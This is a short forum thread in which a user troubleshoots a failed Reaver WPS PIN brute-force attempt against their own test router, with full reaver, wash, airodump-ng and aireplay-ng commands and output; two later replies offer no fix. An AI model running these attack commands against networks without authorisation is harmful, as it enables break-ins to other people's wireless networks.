Results 1 to 3 of 3

Thread: Reaver does not associate/start trying pins

  1. #1
    Join Date
    2013-Jul
    Location
    United States
    Posts
    520

    Reaver does not associate/start trying pins

    Hey guys. I have a D-Link DIR-655 with WPA-TKIP enabled and WPS is enabled. However, when I try to run reaver against it, it will either not associate or associate and say its trying pin 12345670 but nothing happens. I'm using an Alfa AWUS036H with RTl8187L chipset. Here are some outputs:

    Wash

    Code:
    root@Kali:~# wash -i mon0 -c 1
    
    Wash v1.4 WiFi Protected Setup Scan Tool
    Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <[email protected]>
    
    BSSID                  Channel       RSSI       WPS Version       WPS Locked        ESSID
    ---------------------------------------------------------------------------------------------------------------
    00:XX:XX:XX:XX:XX       1            -41        1.0               No                WPS TEST
    Airodump

    Code:
    BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH E
                                                                                   
     00:XX:XX:XX:XX:XX  -41  86      50       17    1   1  54e. WPA  TKIP   PSK  WPS TEST
    Reaver

    Code:
    root@Kali:~# reaver -i mon0 -c 1 -b 00:XX:XX:XX:XX:XX -a -vv -w -E -S -N
    
    Reaver v1.4 WiFi Protected Setup Attack Tool
    Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <[email protected]>
    
    [+] Switching mon0 to channel 1
    [+] Waiting for beacon from 00:XX:XX:XX:XX:XX
    [!] WARNING: Failed to associate with 00:XX:XX:XX:XX:XX (ESSID: WPS TEST)
    [+] Associated with 00:XX:XX:XX:XX:XX (ESSID: WPS TEST)
    [+] Trying pin 12345670
    [!] WARNING: Failed to associate with 00:XX:XX:XX:XX:XX (ESSID: WPS TEST)
    [!] WARNING: Failed to associate with 00:XX:XX:XX:XX:XX (ESSID: WPS TEST)
    [!] WARNING: Failed to associate with 00:XX:XX:XX:XX:XX (ESSID: WPS TEST)
    [!] WARNING: Failed to associate with 00:XX:XX:XX:XX:XX (ESSID: WPS TEST)
    [!] WARNING: Failed to associate with 00:XX:XX:XX:XX:XX (ESSID: WPS TEST)
    [!] WARNING: Failed to associate with 00:XX:XX:XX:XX:XX (ESSID: WPS TEST)
    [!] WARNING: Failed to associate with 00:XX:XX:XX:XX:XX (ESSID: WPS TEST)
    [!] WARNING: Failed to associate with 00:XX:XX:XX:XX:XX (ESSID: WPS TEST)
    [!] WARNING: Failed to associate with 00:XX:XX:XX:XX:XX (ESSID: WPS TEST)
    [!] WARNING: Failed to associate with 00:XX:XX:XX:XX:XX (ESSID: WPS TEST)
    [!] WARNING: Failed to associate with 00:XX:XX:XX:XX:XX (ESSID: WPS TEST)
    [!] WARNING: Failed to associate with 00:XX:XX:XX:XX:XX (ESSID: WPS TEST)
    [!] WARNING: Failed to associate with 00:XX:XX:XX:XX:XX (ESSID: WPS TEST)
    [+] Sending EAPOL START request
    [!] WARNING: Receive timeout occurred
    [+] Sending EAPOL START request
    [!] WARNING: Receive timeout occurred
    ^C
    [+] Nothing done, nothing to save.
    Aireplay Injection Test

    Code:
    root@Kali:~# aireplay-ng mon0 -9
    16:56:02  Trying broadcast probe requests...
    16:56:03  Injection is working!
    16:56:04  Found 1 AP
    
    16:56:04  Trying directed probe requests...
    16:56:04  00:XX:XX:XX:XX:XX - channel: 1 - 'WPS TEST'
    16:56:06  Ping (min/avg/max): 1.964ms/9.632ms/13.760ms Power: -42.26
    16:56:06  29/30:  96%
    Aireplay Fake Auth

    Code:
    root@Kali:~# aireplay-ng mon0 -1 0 -a 00:XX:XX:XX:XX:XX -h 00:XX:XX:XX:XX:XX --ignore-negative-one
    16:58:47  Waiting for beacon frame (BSSID: 00:XX:XX:XX:XX:XX) on channel -1
    
    16:58:50  Sending Authentication Request (Open System) [ACK]
    16:58:50  Authentication failed (code 17)
    
    16:58:53  Sending Authentication Request (Open System) [ACK]
    16:58:53  Authentication successful
    16:58:53  Sending Association Request [ACK]
    16:58:53  Denied (code 10), open (no WEP) ?
    ^C
    Any ideas? Thanks!!

  2. #2
    Join Date
    2016-Aug
    Posts
    2
    I have the same problem with my AWUS036NH.

    Did you find a fix ?

    Thank you

  3. #3
    have you watched the date of the previous post? he might not even have that alfa card anymore

Similar Threads

  1. Reaver v1.4 - Failed to associate with [BSSID]
    By stagg250 in forum General Archive
    Replies: 3
    Last Post: 2013-10-31, 04:22

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •